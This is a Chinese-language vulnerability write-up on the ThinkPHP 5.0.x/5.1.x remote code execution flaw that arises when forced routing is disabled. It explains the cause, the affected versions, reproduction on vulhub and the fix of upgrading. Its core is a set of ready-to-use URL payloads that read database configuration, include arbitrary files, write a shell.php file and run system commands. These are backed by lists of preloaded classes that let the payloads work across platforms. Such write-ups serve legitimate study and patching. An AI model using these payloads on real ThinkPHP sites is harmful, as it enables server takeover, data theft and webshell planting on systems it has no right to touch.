ThinkPHP5 5.0.22/5.1.29 未开启强制路由rce
漏洞成因
因为框架对传入的路由参数过滤不严格,没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以操作非预期的控制器类执行任意方法,从而导致rce
影响版本
5.0.5-5.0.22(5.0.x)
5.1.0-5.1.30(5.1.x)
payload
5.0.x
1 2 3 4
| ?s=index/think\config/get&name=database.username # 获取配置信息 ?s=index/\think\Lang/load&file=../../test.jpg # 包含任意文件 ?s=index/\think\Config/load&file=../../t.php # 包含任意.php文件 ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
|
5.1.x
1 2 3 4 5
| ?s=index/\think\Request/input&filter[]=system&data=pwd ?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?> ?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?> ?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
|
复现
vulhub thinkphp 5-rce

直接使用5.0.x的poc触发漏洞

默认情况下没有开启强路由,而是默认开启路由兼容模式
由于没有开启强路由说明可以使用路由兼容模式的s参数,而对控制器名进行严格检测说明可能可以调用任意的控制器,所以得出思路就是利用http://ip/?s=模块/控制器/方法来测试
构造?s=index/think\config/get&name=database.username
获取配置信息

其中5.1.x的一部分poc并不能利用,原因是一些payload在Windows的主机上是不可利用的,踩坑记录详见第一篇文章的总结
由于windows自动加载类加载不到想要的类文件,所以能够下手的就是在框架加载的时候已经加载的类
所以可以使用兼容多平台的payload,贴上师傅总结的payload
5.1是下面这些:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| think\Loader Composer\Autoload\ComposerStaticInit289837ff5d5ea8a00f5cc97a07c04561 think\Error think\Container think\App think\Env think\Config think\Hook think\Facade think\facade\Env env think\Db think\Lang think\Request think\Log think\log\driver\File think\facade\Route route think\Route think\route\Rule think\route\RuleGroup think\route\Domain think\route\RuleItem think\route\RuleName think\route\Dispatch think\route\dispatch\Url think\route\dispatch\Module think\Middleware think\Cookie think\View think\view\driver\Think think\Template think\template\driver\File think\Session think\Debug think\Cache think\cache\Driver think\cache\driver\File
|
5.0 的有:
1 2 3 4 5 6 7 8 9 10
| think\Route think\Config think\Error think\App think\Request think\Hook think\Env think\Lang think\Log think\Loader
|
两个版本公有的是:
1 2 3 4 5 6 7 8 9 10
| think\Route think\Loader think\Error think\App think\Env think\Config think\Hook think\Lang think\Request think\Log
|
修复
升级框架版本,新版本中修复了控制器的调用
参考文章
[漏洞分析]thinkphp 5.x全版本任意代码执行分析全记录
ThinkPHP V5 漏洞复现